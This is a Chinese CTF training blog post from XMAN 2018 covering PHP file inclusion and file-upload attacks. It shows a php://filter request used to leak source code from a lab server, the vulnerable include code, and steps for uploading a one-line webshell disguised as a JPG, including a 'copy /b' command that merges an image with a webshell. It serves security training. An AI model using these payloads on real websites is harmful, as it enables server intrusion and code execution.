CTF-web XMAN-2018 第七天 web 文件包含与cookie会话

优先看一看有没有一些危险的函数,这样很可能存在命令执行。 反引号可以直接执行系统命令。

不是php的话,会当做文本文件显示,还可以包含一个一句话木马(对文件类型没有要求)

文件包含作用

重用代码,相当于c语言头文件的感觉。常见的几个文件包含函数,require没有文件就报错,include会继续执行

大佬例题

 http://202.112.51.184:8007

文件上传 

提示只能发送图像,而且是jpg和gif,仅为服务器端的扩展名检测,本地无检测,对内容没有要求。直接弄一个一句话木马,修改为jpg扩展名,上传成功,提示我们id。

记住id找保存的地址

发现问题没,上边那个地址就是意思有这个目录,我们将文件id弄上去

师傅说使用zip协议来执行我们的命令???、

老师提醒:

发现有一个参数在路径后边?page= ,那么我们利用伪协议可以得到包含的文件

http://202.112.51.184:8004/index.php?page=php://filter/convert.base64-encode/resource=index
 PD9waHANCglyZXF1aXJlKCJoZWFkZXIucGhwIik7DQoJJHBhZ2U9IiI7DQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCQkkcGFnZT0kX0dFVFsncGFnZSddLiIucGhwIjsNCgllbHNlDQoJCSRwYWdlPSJtYWluLnBocCI7DQoJaW5jbHVkZSgkcGFnZSk7DQo/Pg==
    
    解码,后可以得到源码
对文件扩展名白名单过滤,对MME类型进行检测 =(content-type)

老师傅加强判断版本(8007)

再次直接上传xxx.jpg,加了一个服务器MMI类判断,通过头文件的方式判断文件类型。

绕过:

加一个文件头就可以了,然而大师傅证明不能随意加,暂时怎么弄也不知道

大师傅例题2

 http://202.112.51.184:9005

同样的一个网站,但是存在一些问题

依旧先套路得到源码

<?php
	require("header.php");
	$page="";
	if (isset($_GET['page']))
	{
		$page=strtolower($_GET['page']);
		$page=str_replace("#", "", $page);
		$page=str_replace("'", "", $page);
		$page=$_GET['page'].".php";
	}
	else
		$page="main.php";
	include($page);
?>
把# ‘ 都过滤了,然而也用不上啊...跟上一个没啥区别
测试直接上传一句话木马a.jpg,可以上传,得到ID,但是在uploads竟然没有这个文件,,,应该是被过滤了。

我们只好拼接一下二进制了,将马接在jpg后面。

copy /b a.jpg+b.jpg c.jpg   a作为主文件

copy /b a.jpg+b.jpg c.jpg   a作为主文件

将文件上传进去,也是不可以的,因为是采用了类似于文件重写的原理,将图像文件的图像重新写到另一个文件,正好解释了直接传一句话木马文件就不存在了,拼接也不会有用,因为只写了图像的部分,木马的部分也不见了。那么怎么办呢

猜你喜欢

转载自blog.csdn.net/iamsongyu/article/details/85861591